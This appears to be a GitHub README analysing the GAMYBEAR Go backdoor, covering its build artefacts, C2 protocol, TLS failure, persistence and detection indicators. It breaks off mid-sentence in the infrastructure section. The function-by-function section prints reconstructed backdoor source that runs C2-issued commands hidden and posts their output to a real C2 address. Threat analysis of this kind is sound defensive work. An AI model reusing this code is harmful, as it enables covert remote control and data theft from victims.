yankywilson/gamybear

GitHub: yankywilson/gamybear

Stars: 18 | Forks: 17

# GAMYBEAR This repository documents the analysis of **GAMYBEAR**, a Go-language backdoor attributed by CERT-UA to the **UAC-0241** threat cluster, observed in operations against Ukrainian education-sector and state-authority targets in 2025. The analysis includes static reverse engineering of the binary, dynamic detonation on a controlled Windows 11 host, network-protocol reconstruction, and infrastructure pivoting. Multiple findings extend or correct the original CERT-UA advisory (`CERT-UA#18329`, published 2025-11-18). | | | |---|---| | **Sample SHA-256** | `f4cfbd86609b558a76e43a8da7a47b211d4c498d1167b65bf43aa199e4a252fd` | | **Compiler** | `go1.21.0` | | **Build environment** | Windows host, network drive `Z:\Builder\out\`, user `fuckthereversers` | | **Source path embedded** | `Z:/Builder/out/g4myb34r_backdoor.go` | | **C2** | `https://185.223.93.102` (AS14576 HOSTING-SOLUTIONS, Amsterdam) | | **Attribution** | UAC-0241 (CERT-UA), Russian-aligned | | **Tracking** | CERT-UA#18329 | ## Table of contents - [TL;DR](#tldr) - [Repository layout](#repository-layout) - [Sample identification and acquisition](#sample-identification-and-acquisition) - [Build environment forensics](#build-environment-forensics) - [Architecture](#architecture) - [Function-by-function analysis](#function-by-function-analysis) - [C2 protocol](#c2-protocol) - [The TLS failure: why GAMYBEAR is broken in clean environments](#the-tls-failure-why-gamybear-is-broken-in-clean-environments) - [Persistence: a correction to CERT-UA#18329](#persistence-a-correction-to-cert-ua18329) - [Empirical detonation evidence](#empirical-detonation-evidence) - [Infrastructure observations](#infrastructure-observations) - [Operator profile](#operator-profile) - [Detection guidance](#detection-guidance) - [Indicators of compromise](#indicators-of-compromise) - [Findings vs CERT-UA#18329](#findings-vs-cert-ua18329) - [Open questions](#open-questions) - [Acknowledgements](#acknowledgements) ## TL;DR **GAMYBEAR is a small, single-binary Go backdoor.** The operator-written code consists of 13 functions in `package main`, plus the standard library and one third-party dependency (`github.com/google/uuid v1.6.0`). The malware exhibits a three-goroutine concurrency model: - A **listener** goroutine polls the C2 for commands every 15 seconds (or 5 seconds on error) - An **executor** goroutine runs received commands via `os/exec.Command` with `STARTF_USESHOWWINDOW` - A **sender** goroutine POSTs base64-encoded command output back to the C2 The bot uses Go's default `net/http.DefaultClient` for all communication. This means it inherits Go's default `crypto/tls.Config{}` — which performs strict certificate validation against the system root store. Because GAMYBEAR's C2 (`185.223.93.102:443`) serves a self-signed certificate (`CN=cloudflare-dns.com, C=RU`), **the TLS handshake fails on any clean Windows host that does not have the operator's CA cert pre-installed**. The malware is observably broken in default-configured environments. Operator OPSEC failures observed in the binary include: - DWARF debug info retained (full variable names, source line numbers, struct types recovered) - Source file path `Z:/Builder/out/g4myb34r_backdoor.go` embedded - Username `fuckthereversers` embedded via Go module path - Multiple `fmt.Println` / `log.Println` debug calls left in production code - `log.Fatal` in the sender goroutine — the process terminates on the first POST failure - Naive `strings.Split(args, " ")` argument parsing that breaks on quoted arguments - `wmic` invocation that returns empty bytes on Windows 11 22H2+ (wmic deprecated) - `whoami` output base64-encoded without trimming → every beacon hostname field carries a trailing `\r\n` (base64 suffix `DQo=`) Fifteen distinct findings extend or correct CERT-UA#18329. The persistence claim in particular requires correction: **the GAMYBEAR binary writes only a JSON config file at `%APPDATA%\updater.json` and does not establish HKCU Run registry autorun.** Autorun persistence, if observed in CERT-UA's incident data, must originate from the upstream `updater.ps1` dropper stage. ## Repository layout gamybear/ ├── README.md this file ├── docs/ │ ├── 01-acquisition.md sample sourcing timeline │ ├── 02-static-triage.md strings, GoReSym, DWARF │ ├── 03-architecture.md goroutines, channels, structs │ ├── 04-function-analysis.md all 13 main.* functions decompiled │ ├── 05-c2-protocol.md wire-format reconstruction │ ├── 06-tls-failure.md the core finding │ ├── 07-persistence-correction.md CERT-UA correction │ ├── 08-dynamic-detonation.md empirical evidence │ ├── 09-infrastructure.md Censys pivots and negative results │ └── 10-operator-profile.md tradecraft observations ├── ioc/ │ ├── iocs.csv machine-readable IOC list │ ├── iocs.md human-readable IOC list │ └── stix2-bundle.json STIX 2.1 bundle (subset) ├── yara/ │ ├── gamybear_strings.yar string-based rules │ ├── gamybear_struct.yar struct-shape rules │ └── gamybear_runtime.yar Go runtime constant rules ├── suricata/ │ └── gamybear.rules Suricata IDS rules ├── snort/ │ └── gamybear.rules Snort IDS rules ├── scripts/ │ ├── decode_beacon.py parse captured updater.json │ ├── string_diff.ps1 variant comparison helper │ └── extract_dwarf_sources.sh pull source paths from binary ├── samples_metadata/ │ ├── svshosts.exe.json metadata only (no sample) │ └── ieupdater.exe.json metadata only (not analyzed) └── analysis/ ├── empirical_evidence.txt dynamic detonation results ├── captured_updater.json actual file written by the bot ├── reconstructed_source.go high-confidence Go source recon └── ghidra_decompiles/ raw Ghidra decompiler output ## Sample identification and acquisition GAMYBEAR was first publicly described by CERT-UA on 18 November 2025 (CERT-UA#18329). The advisory documents an intrusion targeting Sumy-oblast education and state-authority entities, with initial compromise dated 26 May 2025 via a compromised university Gmail account lacking two-factor authentication. The sample analyzed in this repository was **submitted to Triage on 10 November 2025** at 13:01 UTC under the filename `go_23582301443.zip` — **eight days before CERT-UA's public disclosure**. The submission ID is `251110-p9qtmsbw6a`. Triage's behavioral analyzer scored the file 3/10 ("Likely benign") with no MITRE technique mappings, indicating no GAMYBEAR-specific signature exists in Triage's library. The same SHA-256 hash appears in a later Triage submission on 20 November 2025 (`251120-d4lf7ahv8d`) by user `petikvx`, attributed in our analysis to routine corpus rotation rather than first-hand collection. A VirusTotal comment from user `petik` cross-referenced the MWDB.cert.pl entry, which provided an additional acquisition path. **Sample identifiers**: | Identifier | Value | |---|---| | SHA-256 | `f4cfbd86609b558a76e43a8da7a47b211d4c498d1167b65bf43aa199e4a252fd` | | File size | 7,443,968 bytes | | File type | PE32+ executable (console), x86-64, Go-compiled | | Triage report (pre-disclosure) | https://tria.ge/251110-p9qtmsbw6a | | MWDB | https://mwdb.cert.pl/file/f4cfbd86609b558a76e43a8da7a47b211d4c498d1167b65bf43aa199e4a252fd | ## Build environment forensics GAMYBEAR was compiled **with DWARF debug information retained** — the operator did not pass `-ldflags="-s -w"` to the Go compiler. This single decision exposes substantial build-environment intelligence: | Artifact | Value | Interpretation | |---|---|---| | Go compiler version | `go1.21.0` | August 2023 release; toolchain is 2+ years old | | Source path embedded | `Z:/Builder/out/g4myb34r_backdoor.go` | Mapped network drive in build environment | | Module dependency path | `C:/Users/fuckthereversers/go/pkg/mod/github.com/google/uuid@v1.6.0/` | Build user named `fuckthereversers`, Windows host | | Runtime startup path | `C:/Program Files/Go/src/runtime/rt0_windows_amd64.s` | Standard Windows Go installation | | Build ID (`go.buildinfo`) | `pXjhKBRwl8Jz266eHpWV/PU-FXAklZAtNjGwAHPJW/HuOjVeKNEbUINM8kbeOM/RRQaFKS5_cHsILydquqS` | Per-build hash, suitable for YARA | | File modification time on extract | `12/31/1600 11:00 PM` | Windows zero-timestamp; MAC times stripped during ZIP extraction | Two further build-environment artifacts appear in CERT-UA's IOC list that we did not directly observe in this binary: - `C:\Users\sandbox-lab\Desktop\LaZagne-master\Windows\gamaredagne.py` — suggests the operator maintained a separate build environment under a `sandbox-lab` user, with the portmanteau "gamaredagne" (Gamaredon + LaZagne) for a local LaZagne wrapper - The `desktop-rblfdll` machine identifier Combined, these artifacts indicate: 1. The operator builds on Windows, not Linux (atypical for Russian-aligned APT tooling) 2. The build environment includes at least one mapped network drive (`Z:\`) — possibly a build-server share 3. At least two distinct user accounts are in use (`fuckthereversers`, `sandbox-lab`) 4. Naming conventions and humor (the `fuckthereversers` username) suggest a small team or solo developer, not an institutional shop ## Architecture GAMYBEAR's design is straightforward: a coordinator (`main.main`) initializes shared state, spawns three worker goroutines, and waits. ┌──────────────────────┐ │ C2 server │ │ 185.223.93.102:443 │ │ self-signed TLS cert │ └──┬───────────────┬───┘ │ ▲ │ GET │ POST │ │ ┌────────────────┴───┐ ┌───┴──────────────┐ │ main.listener │ │ main.sender │ │ goroutine │ │ goroutine │ │ │ │ │ │ /c2/get_commands/ │ │ /c2/command_out/ │ │ │ │ │ └──┬─────────────────┘ └────────────────┬─┘ │ ▲ │ commands <- cmd │ │ commands <- args │ ▼ │ ┌──────────────────────┐ │ │ main.executor │ │ │ goroutine │ results <- {uuid, │ │ │ command, output} │ │ os/exec.Command(...) ├──────────────────────┘ │ HideWindow: true │ └──────────────────────┘ **Resources allocated by `main.main`**: - One `*sync.WaitGroup` for goroutine lifecycle (`wg.Wait()` is called but `Add()` count is obscured by Ghidra's analysis) - One unbuffered `chan string` (`commands`) — listener → executor - One unbuffered `chan map[string]string` (`results`) — executor → sender - One `main.Config` value carrying the C2 URL, UUID, base64-encoded hostname, and base64-encoded IP The inter-goroutine communication uses **two distinct channel value types**: the operator chose `chan string` (with paired sends per command) for the listener-to-executor path, and `chan map[string]string` for the executor-to-sender path. Using `map[string]string` rather than a defined struct for the result message is the reason no third struct equality function exists in the binary. **Defined struct types**: type Config struct { C2_URL string `json:"update_server"` UUID string HOSTNAME string IP string } type Response struct { Command string Arguments string } The `Config` struct serves two purposes that share field shape but differ in JSON serialization context: it is written to disk as `%APPDATA%\updater.json` using its `json:"update_server"` tag for the URL field, and it is held in memory across all three goroutines as the per-bot identity record. The `Response` struct is exclusively used to unmarshal commands received from the C2; the bot-to-C2 result message is built as an inline `map[string]string` literal rather than a defined struct. ## Function-by-function analysis The operator-authored code lives in 13 functions in `package main`. Reconstructed Go source is provided below; full Ghidra decompiler output is available in [`analysis/ghidra_decompiles/`](analysis/ghidra_decompiles/). ### `main.main` — coordinator (`g4myb34r_backdoor.go:208`) func main() { url := "https://185.223.93.102" config := confExist(url) fmt.Fprintln(os.Stdout, config.UUID) // debug print wg := &sync.WaitGroup{} wg.Add(...) // count obscured in decompile commands := make(chan string) results := make(chan map[string]string) go listener(config, commands, wg) go executor(config, commands, results, wg) go sender(config, results, wg) wg.Wait() close(commands) close(results) } Key observations: - The C2 base URL `https://185.223.93.102` is a **22-character bare string literal** — no port, no path. Each worker appends its own endpoint suffix. - A debug `fmt.Fprintln(os.Stdout, config.UUID)` prints the bot's UUID to standard output on every startup. - All three goroutines receive a value-copy of the `main.Config` struct. ### `main.confExist` — load or register (`g4myb34r_backdoor.go:33`) func confExist(url string) Config { config := &Config{} path := os.Getenv("APPDATA") + "\\updater.json" data, err := os.ReadFile(path) if err != nil { data = register(url) // first-run path } json.Unmarshal(data, config) if err != nil { fmt.Fprintf(os.Stdout, "%s", err) } return *config } `main.confExist` is the persistence resume logic. On every startup, it attempts to read `%APPDATA%\updater.json`. If the file exists, the cached `Config` is unmarshaled and returned; if not, `register` is called to perform first-time setup and the JSON bytes that `register` returns are used as the source for unmarshaling. This design means a single GAMYBEAR installation generates exactly one UUID per host, persisted across reboots — the C2 can track distinct hosts by their UUID across multiple beaconing sessions. Note that `register` is reachable only on first run. ### `main.register` — first-time setup (`g4myb34r_backdoor.go:46`) func register(url string) []byte { uuid := uuid.NewString() // github.com/google/uuid v1.6.0 // Hostname collection (NOTE: no trimming of trailing CRLF) out, _ := exec.Command("whoami").Output() hostname_b64 := base64.StdEncoding.EncodeToString(out) // IP collection (NOTE: wmic is deprecated on Windows 11) out2, _ := exec.Command("wmic", "nicconfig", "where", "IPEnabled=true", "get", "IPAddress").Output() ip_b64 := base64.StdEncoding.EncodeToString(out2) // Persist to disk config := Config{url, uuid, hostname_b64, ip_b64} configJSON, _ := json.Marshal(config) os.WriteFile(os.Getenv("APPDATA")+"\\updater.json", configJSON, 0o644) // SEPARATE wire payload — different schema than the file info := map[string]string{ "uuid": uuid, "hostname": hostname_b64, "ip_address": ip_b64, // snake_case "ip_address", not "ip" } infoJSON, _ := json.Marshal(info) // POST to /register using default HTTP client resp, _ := http.DefaultClient.Post( url+"/register", "application/json", bytes.NewBuffer(infoJSON), ) defer resp.Body.Close() res := map[string]interface{}{} json.NewDecoder(resp.Body).Decode(&res) // decoded but unused return configJSON // returned to confExist for unmarshaling } This function is dense with findings: **Two distinct JSON schemas, both visible in the function body**: The persisted file uses the Go struct field names with the `json:"update_server"` tag override: {"update_server": "...", "UUID": "...", "HOSTNAME": "...", "IP": "..."} The HTTP POST wire payload uses an inline `map[string]string` with completely different keys: {"uuid": "...", "hostname": "...", "ip_address": "..."} Critically, the wire field is `ip_address` (snake_case), not `ip` as in the file. This dual schema is a strong fingerprint for both endpoint and host-based detection. See [`analysis/captured_updater.json`](analysis/captured_updater.json) for the on-disk format as observed in dynamic detonation. **The C2 returns JSON** that the bot decodes but never references. This means the server-to-bot direction is structurally bidirectional even though no current code path acts on the response. Likely candidates for future use: server-assigned overrides (a new C2 URL, a unique key, a configuration adjustment). **No trimming of `whoami` output**. The Go `exec.Cmd.Output()` method captures stdout as raw bytes, including the line endings appended by `whoami.exe`. Because the operator passes these bytes directly to `base64.StdEncoding.EncodeToString`, every observed beacon hostname field carries a trailing `\r\n`. In base64, this manifests as the four-character suffix `DQo=`. See [Detection guidance](#detection-guidance). **`wmic` is deprecated on Windows 11 22H2+**. Microsoft removed `wmic.exe` from default Windows 11 installations starting in 22H2. On modern hosts, the `exec.Command("wmic", ...)` call returns an error and an empty byte slice; the base64 encoding of empty bytes is the empty string. Observed beacons from Windows 11 hosts therefore have `ip_address` set to `""`. The operator built and tested against an older Windows reference. ### `main.listener` — command poll loop (`g4myb34r_backdoor.go:101`) func listener(config Config, commands chan string, wg *sync.WaitGroup) { defer wg.Done() // main.listener.func2 for { url := config.C2_URL + "/c2/get_commands/" + config.UUID resp, err := http.DefaultClient.Get(url) if err != nil { log.Println(err) // main.listener.Println.func1 time.Sleep(5 * time.Second) continue } body, err := io.ReadAll(resp.Body) if err != nil { time.Sleep(5 * time.Second) continue } resp.Body.Close() response := &Response{} if json.Unmarshal(body, response) != nil { time.Sleep(5 * time.Second) continue } fmt.Println(response.Command, response.Arguments) // debug print if response.Command == "Nop" { time.Sleep(15 * time.Second) } else { commands <- response.Command commands <- response.Arguments time.Sleep(15 * time.Second) } } } The poll URL includes the bot's UUID in the path. **The full URL pattern is `/c2/get_commands/`** — a regular expression detection signature suitable for IDS rules. CERT-UA's writeup documented the base path but not the UUID suffix. The `"Nop"` string is compiled by Go to a 16-bit + 8-bit comparison sequence rather than a function call: CMP word ptr [psVar3], 0x6f4e ; 'No' (little-endian) CMP byte ptr [psVar3+2], 'p' ; 'p' This is a Go compiler optimization for short-string equality and not particularly diagnostic on its own, but worth noting if static signature engineers want to anchor on it. The error-handling pattern is resilient: HTTP errors, ReadAll errors, and JSON errors all trigger a 5-second sleep and a `continue`. The listener never terminates voluntarily. The paired channel-send pattern (`commands <- cmd; commands <- args`) is unusual. Standard Go style would either define a struct or use a slice; sending two values sequentially on the same unbuffered channel is brittle and creates an ordering dependency in the executor. ### `main.executor` — command dispatcher (`g4myb34r_backdoor.go:167`) func executor(config Config, commands chan string, results chan map[string]string, wg *sync.WaitGroup) { defer wg.Done() // main.executor.func1 for { command := <-commands // first send from listener arguments := <-commands // second send from listener output := run_command(command, arguments) out_b64 := base64.StdEncoding.EncodeToString(output) result := map[string]string{ "uuid": config.UUID, "command": command, "output": out_b64, } fmt.Fprintf(os.Stdout, "<28-char format string>", command) // debug results <- result fmt.Fprintln(os.Stdout, ...) // debug } } The result message structure is the inline map: `{"uuid", "command", "output"}`. `output` is the base64-encoded stdout bytes from the executed command. Note this differs from the register message, which uses the keys `{"uuid", "hostname", "ip_address"}` — three different JSON message shapes traverse the same C2 server. ### `main.run_command` — command execution (`g4myb34r_backdoor.go:145`) func run_command(command string, arguments string) []byte { var cmd *exec.Cmd if arguments == "" { cmd = exec.Command(command) } else { args := strings.Split(arguments, " ") // naive: breaks on quoted args cmd = exec.Command(command, args...) } cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} output, err := cmd.Output() if err != nil { fmt.Fprintf(os.Stdout, "%s", err) } return output } Three significant behaviors: 1. **Direct `exec.Command`, not `cmd.exe /c`**. The operator must send the full executable path (or rely on `%PATH%` resolution). PowerShell and cmd.exe shell builtins are not accessible without explicitly invoking the relevant shell binary. 2. **`HideWindow: true`** sets `wShowWindow = SW_HIDE` in the `STARTUPINFO`. The launched process does not flash a console window. This is equivalent to `CREATE_NO_WINDOW` behavior. Every C2-executed command therefore spawns a hidden child process from `svshosts.exe`. 3. **Naive argument parsing**. `strings.Split(arguments, " ")` produces broken results for any quoted arguments containing spaces (`"hello world"` becomes `["hello`, `world"]`). The operator's tooling must avoid spaces in command arguments. ### `main.sender` — result POST loop (`g4myb34r_backdoor.go:183`) func sender(config Config, results chan map[string]string, wg *sync.WaitGroup) { defer wg.Done() // main.sender.func1 for { result := <-results body, _ := json.Marshal(result) url := config.C2_URL + "/c2/command_out/" + config.UUID resp, err := http.DefaultClient.Post( url, "application/json", bytes.NewBuffer(body), ) if err != nil { log.Fatal(err) // calls os.Exit(1) } res := map[string]interface{}{} json.NewDecoder(resp.Body).Decode(&res) // decoded but unused } } **`log.Fatal(err)` calls `os.Exit(1)`.** A single transient POST failure terminates the entire bot. Contrast this with the listener, which tolerates GET errors indefinitely by sleeping and retrying. The asymmetric error handling creates a brittleness profile: the bot can spend hours failing to receive commands without dying, but the first failed result transmission kills it. In practice, because the listener's GET requests already fail under the TLS issue described below, the bot rarely reaches a state where `main.sender` actually attempts to send anything — so the `log.Fatal` rarely fires. In a successful operation (with the operator's CA cert present on the victim), this would become a real fragility. ### Auxiliary functions The Go compiler generates several auxiliary closures and equality functions that surface as additional symbols: | Function | Role | |---|---| | `main.main.func1` | Goroutine launcher for the listener | | `main.main.func2` | Goroutine launcher for the executor | | `main.main.func3` | Goroutine launcher for the sender | | `main.register.func1` | Deferred close of HTTP response body in register | | `main.listener.func2` | Deferred `wg.Done()` in listener | | `main.listener.Println.func1` | Panic-recovery closure with `log.Println` | | `main.executor.func1` | Deferred `wg.Done()` in executor | | `main.sender.func1` | Deferred `wg.Done()` in sender | | `type.eq.main.Config` | Compiler-generated struct equality for `Config` | | `type.eq.main.Response` | Compiler-generated struct equality for `Response` | The presence of `type.eq.main.Config` and `type.eq.main.Response` — and the **absence** of a third `type.eq.main.Result` or similar — confirms that exactly two struct types are defined in `package main`, and the result message uses an inline map. ## C2 protocol GAMYBEAR's C2 protocol is HTTPS-only, with three endpoints, three distinct JSON message shapes, and two distinct UUID locations (URL path and JSON body). ### Endpoint summary | Direction | Method | URL | Body | |---|---|---|---| | Bot → C2 | POST | `https://185.223.93.102/register` | `{"uuid", "hostname", "ip_address"}` | | Bot → C2 | GET | `https://185.223.93.102/c2/get_commands/` | (none) | | C2 → Bot | (response) | (above GET response) | `{"Command", "Arguments"}` | | Bot → C2 | POST | `https://185.223.93.102/c2/command_out/` | `{"uuid", "command", "output"}` | | C2 → Bot | (response) | (above POST response) | decoded but ignored | All POSTs use `Content-Type: application/json`. All requests use the default Go HTTP client, so the `User-Agent` is `Go-http-client/1.1`. ### Registration flow Bot C2 │ │ │ POST /register │ │ Content-Type: application/json │ │ User-Agent: Go-http-client/1.1 │ │ │ │ { │ │ "uuid": "30372e5f-de32-4067-b253-13ef626e2e67", │ │ "hostname": "ZGVza3RvcC0yaGo1NDVtXGZsYXJlDQo=", │ │ "ip_address": "" │ │ } │ │ ──────────────────────────────────────────────────────────────────────►│ │ │ │ HTTP/1.1 200 OK │ │ │ │ ◄──────────────────────────────────────────────────────────────────────│ │ │ The `uuid` field is a UUIDv4 generated by `github.com/google/uuid.NewString()` at first run and persisted to `%APPDATA%\updater.json`. On subsequent runs, the same UUID is reused. The `hostname` field is the base64 of `whoami.exe`'s raw stdout. Because `whoami` appends `\r\n` and the bot does not trim, the decoded bytes always end with `0x0D 0x0A`, and the base64 string always ends with `DQo=`. Concretely, in our detonation: Base64: ZGVza3RvcC0yaGo1NDVtXGZsYXJlDQo= Decoded bytes (hex): 64 65 73 6B 74 6F 70 2D 32 68 6A 35 34 35 6D 5C 66 6C 61 72 65 0D 0A d e s k t o p - 2 h j 5 4 5 m \ f l a r e \r \n The `ip_address` field is the base64 of the stdout of `wmic nicconfig where IPEnabled=true get IPAddress`. On Windows 11 22H2+, where `wmic.exe` is removed, this field is the empty string. ### Command polling flow Bot C2 │ │ │ GET /c2/get_commands/30372e5f-de32-4067-b253-13ef626e2e67 │ │ User-Agent: Go-http-client/1.1 │ │ ──────────────────────────────────────────────────────────────────────►│ │ │ │ HTTP/1.1 200 OK │ │ {"Command": "Nop", "Arguments": ""} │ │ ◄──────────────────────────────────────────────────────────────────────│ │ │ │ (sleeps 15 seconds, repeats) │ `"Nop"` indicates no command is currently queued and the bot should sleep for 15 seconds. Any other `Command` value is interpreted as an executable path; `Arguments` is space-split into argument tokens. ### Result submission flow Bot C2 │ │ │ POST /c2/command_out/30372e5f-de32-4067-b253-13ef626e2e67 │ │ Content-Type: application/json │ │ User-Agent: Go-http-client/1.1 │ │ │ │ { │ │ "uuid": "30372e5f-de32-4067-b253-13ef626e2e67", │ │ "command": "whoami", │ │ "output": "" │ │ } │ │ ──────────────────────────────────────────────────────────────────────►│ │ │ │ HTTP/1.1 200 OK │ │ │ │ ◄──────────────────────────────────────────────────────────────────────│ │ │ Note that the UUID appears **twice** in the result submission: once in the URL path, once in the JSON body. This redundancy may aid C2-side correlation, may be vestigial from earlier development, or may be the consequence of code reuse from the registration handler. ## The TLS failure: why GAMYBEAR is broken in clean environments The single most consequential finding in this analysis is that **GAMYBEAR uses Go's `net/http.DefaultClient` for all communication with its C2 server**. This client is constructed by the Go runtime with a default `crypto/tls.Config{}` that performs strict X.509 certificate chain validation against the operating system's trust store. The C2 server at `185.223.93.102:443` serves a self-signed certificate with the following relevant fields: | Field | Value | |---|---| | Subject | `CN=cloudflare-dns.com, O=Company Ltd, L=Moscow, ST=Moscow, C=RU` | | Issuer | (same — self-signed) | | Serial number | `0x75ffd826eb99b28abaed15aa0cb7d3517242b058` | | Validity | 2025-04-27 to 2026-04-27 | | SHA-256 | `0c954b885bfeabc3da8dc9a8629399a9de3ad75c703a2de4c3828d390cc24e7a` | | SPKI SHA-256 | `9c1daf9ddc8eae8a87def79e7e451e041ffb9daea7742b36c5fd517c50dadaf7` | Go's default validation logic, when presented with this certificate, performs the following checks in `crypto/x509.(*Certificate).Verify`: 1. **Chain construction**: Walk from the leaf certificate to a trusted root via intermediate certificates. The Moscow-subject certificate is self-signed, so the only candidate root is the certificate itself. 2. **Trust store lookup**: Check whether the self-signed root is present in the system trust store. On any default-installed Windows host, it is not. 3. **Failure mode**: `x509.UnknownAuthorityError` is returned. The TLS handshake responds with a `bad_certificate` alert (alert number 42) and tears down the connection. The PCAP we extracted from the 10 November 2025 Triage detonation captures this exact failure mode at frame 22: the bot sends `Alert(level=Fatal, description=bad_certificate)` immediately after receiving the server's certificate message. **Implications**: - **On any clean Windows host**, GAMYBEAR cannot complete a TLS handshake to its C2 and cannot register, poll commands, or exfiltrate results. - **On a host where the operator has pre-deployed their CA cert into the Windows root store**, the bot works normally. - The operator's dropper chain (`updater.ps1`) is the only candidate stage where this cert pre-deployment could occur. CERT-UA's published writeup does not describe such a cert installation step. This is testable: see [Empirical detonation evidence](#empirical-detonation-evidence) for a 60+ minute live detonation on a Windows 11 host with no operator CA installed. The bot ran continuously, generated no successful C2 traffic, and never managed to complete a TLS handshake — including against FakeNet-NG's self-signed listener, which fails for the same reason. **For defenders**, this creates a useful detection asymmetry: - Where GAMYBEAR is broken, victims observe nothing on the wire — but the bot's repeated TLS handshake failures (sleeping 5 seconds between attempts on Windows 11 with no operator CA) generate a recognizable pattern. - Where GAMYBEAR works, the operator has performed a registry/file-level CA installation that itself is a detectable artifact. See [Detection guidance](#detection-guidance) for the specific Sigma/EDR queries. ## Persistence: a correction to CERT-UA#18329 **Evidence from static analysis**: The binary contains no calls to `RegSetValueEx`, `RegCreateKey`, or any other Windows registry API. The Go runtime imports `syscall` but the operator does not invoke registry-related syscalls. The only Windows API surface used is via the `os/exec` package for `whoami.exe` and `wmic.exe`, and via `net/http` for outbound C2 communication. **Evidence from dynamic analysis**: On a controlled Windows 11 detonation (see [`analysis/empirical_evidence.txt`](analysis/empirical_evidence.txt)), the bot ran for over 60 minutes. After execution: HKCU\Software\Microsoft\Windows\CurrentVersion\Run contents: OneDrive : "C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe" /background The only `Run` entry is the system-default OneDrive autorun — no entry for `svshosts.exe`, no entry referencing `%APPDATA%`, and no entry referencing any other operator-controlled binary path. **What the binary does write**: The bot creates exactly one file artifact: `%APPDATA%\updater.json`, containing the persistent identity record (C2 URL, UUID, base64-encoded hostname, base64-encoded IP). This file enables the bot to re-load its identity on subsequent executions but does not itself establish autorun persistence. **Resolution**: The HKCU Run persistence behavior described by CERT-UA must be attributed to the **upstream `updater.ps1` dropper stage**, not the GAMYBEAR binary itself. CERT-UA's IOC list includes `updater.ps1` as a discrete artifact; we believe the PowerShell stage performs both the binary drop and the registry write before invoking GAMYBEAR. This is not a major operational distinction for incident responders — both stages occur in the same kill chain — but it is meaningful for attribution and family signature engineering. Telemetry searches keyed on `svshosts.exe` or `ieupdater.exe` writing Run keys will produce false negatives; the registry write occurs from `powershell.exe` invoking `updater.ps1`. ## Empirical detonation evidence The static-analysis findings above were verified by detonating the sample on a controlled Windows 11 host. **Detonation environment**: | | | |---|---| | OS | Microsoft Windows 11 Enterprise Evaluation | | Build | 10.0.26200 | | Defender real-time protection | Disabled (FLARE-VM default) | | Tooling | FakeNet-NG 3.5, FLARE-VM 03-ready-for-analysis | | Detonation duration | 60+ minutes | | Process ID observed | 3540 | **Captured artifact** (`%APPDATA%\updater.json` after first run): { "update_server": "https://185.223.93.102", "uuid": "30372e5f-de32-4067-b253-13ef626e2e67", "hostname": "ZGVza3RvcC0yaGo1NDVtXGZsYXJlDQo=", "ip": "" } This file empirically confirms: - The hardcoded C2 URL is `https://185.223.93.102` (matches the static-analysis finding) - A UUIDv4 is generated on first run via `github.com/google/uuid` - The hostname field decodes (base64) to `desktop-2hj545m\flare\r\n` — with `\r\n` confirming the untrimmed-CRLF finding - The IP field is empty (string length 0) — confirming the Windows 11 wmic-deprecation finding **Decoded hostname bytes**: Base64: ZGVza3RvcC0yaGo1NDVtXGZsYXJlDQo= Length: 23 bytes Hex dump: 64 65 73 6B 74 6F 70 2D 32 68 6A 35 34 35 6D 5C 66 6C 61 72 65 0D 0A d e s k t o p - 2 h j 5 4 5 m \ f l a r e \r \n The trailing `0D 0A` confirms the operator's `whoami` output is base64-encoded without trimming. **Windows 11 wmic verification**: PS> Test-Path 'C:\Windows\System32\wbem\WMIC.exe' -> False PS> Test-Path 'C:\Windows\SysWOW64\wbem\WMIC.exe' -> False PS> Get-Command wmic -ErrorAction SilentlyContinue -> (no output) `wmic.exe` is not present on the analysis host. The `exec.Command("wmic", ...)` call in `main.register` returns an error and an empty byte slice; `base64.StdEncoding.EncodeToString([]byte{})` returns the empty string. **HKCU Run verification** (after detonation): HKCU\Software\Microsoft\Windows\CurrentVersion\Run: OneDrive : "C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe" /background No GAMYBEAR-related autorun entries. The CERT-UA correction is confirmed. **Network behavior**: Throughout the 60+ minute detonation, FakeNet-NG observed **zero connections to `185.223.93.102`** and zero HTTP requests originating from `svshosts.exe`. The bot ran continuously without generating any analyzable C2 traffic. This is consistent with the TLS-failure finding: GAMYBEAR's Go default TLS client rejected FakeNet's self-signed certificate at handshake time, producing the same `bad_certificate` alert observed against the real C2 in the PCAP analysis. The process did not crash. It entered the listener's error-retry loop (`log.Println(err); time.Sleep(5*time.Second); continue`) and remained there indefinitely. See [`analysis/empirical_evidence.txt`](analysis/empirical_evidence.txt) for the complete raw output of the empirical verification commands. ## Infrastructure observations Infrastructure pivots from GAMYBEAR's C2 produced no sibling hosts. The analysis below documents the negative results, which we believe to be defensible findings in their own right. **Target**: `185.223.93.102`, hosted by HOSTING-SOLUTIONS Ltd (AS14576), Amsterdam. **Censys direct host lookup**: The Censys host record for `185.223.93.102` indexes only three services: 22/SSH, 111/Portmap, and 2525/SMTP. The C2 listener on port 443 is **not visible to internet scanners** — Censys has captured no certificate, no banner, and no fingerprint from port 443 of this host. The listener either: - Is allowlisted to specific source IP ranges - Drops scanner-shaped probe traffic - Was offline during all of Censys' recent scan passes **Certificate template pivots**: Searching Censys for `host.services.cert.parsed.subject.common_name: "cloudflare-dns.com" AND host.services.cert.parsed.subject.country: "RU"` returned 29 host candidates. After filtering known false-positive proxy ports (7443, 9377, 20205, 2096), 11 hosts remained. Inspection of these 11 hosts revealed they are **commercial Russian-speaking VPS proxy and scraping infrastructure** — Yandex reverse proxies, residential proxy services, and SOCKS proxy pools using the `cloudflare-dns.com` subject template for SNI/cert-template camouflage. None showed evidence of GAMYBEAR operator activity. This is itself a finding: the operator chose a high-noise certificate template that blends into the broader Russian-language gray-market hosting ecosystem, making infrastructure clustering by template properties unreliable. **Exact-cert pivots** (zero hits): | Pivot | Censys result | |---|---| | `host.services.cert.parsed.fingerprint_sha256` = `0c954b...` | 0 hits | | `host.services.cert.parsed.subject_key_info.fingerprint_sha256` = `9c1daf...` | 0 hits | | Cert serial number `0x75ffd826eb99b28abaed15aa0cb7d3517242b058` | 0 hits | The exact certificate served by GAMYBEAR's C2 appears nowhere in Censys' scan corpus, either on the same IP or on any other observable host. **JA4 client fingerprint** (zero hits in queryable sources): The bot's TLS Client Hello fingerprint (extracted from the captured PCAP): | Format | Value | |---|---| | JA3 | `397c55c9aaf9820f7655666ee7fc3c2d` | | JA4 | `t13i1910h2_9dc949149365_e7c285222651` | The JA4 decodes to: TLS 1.3 offered, no SNI extension (`i` = "internal" — IP dial), 19 cipher suites, 10 extensions, ALPN includes `h2`. This is the default Go `crypto/tls` Client Hello shape and is 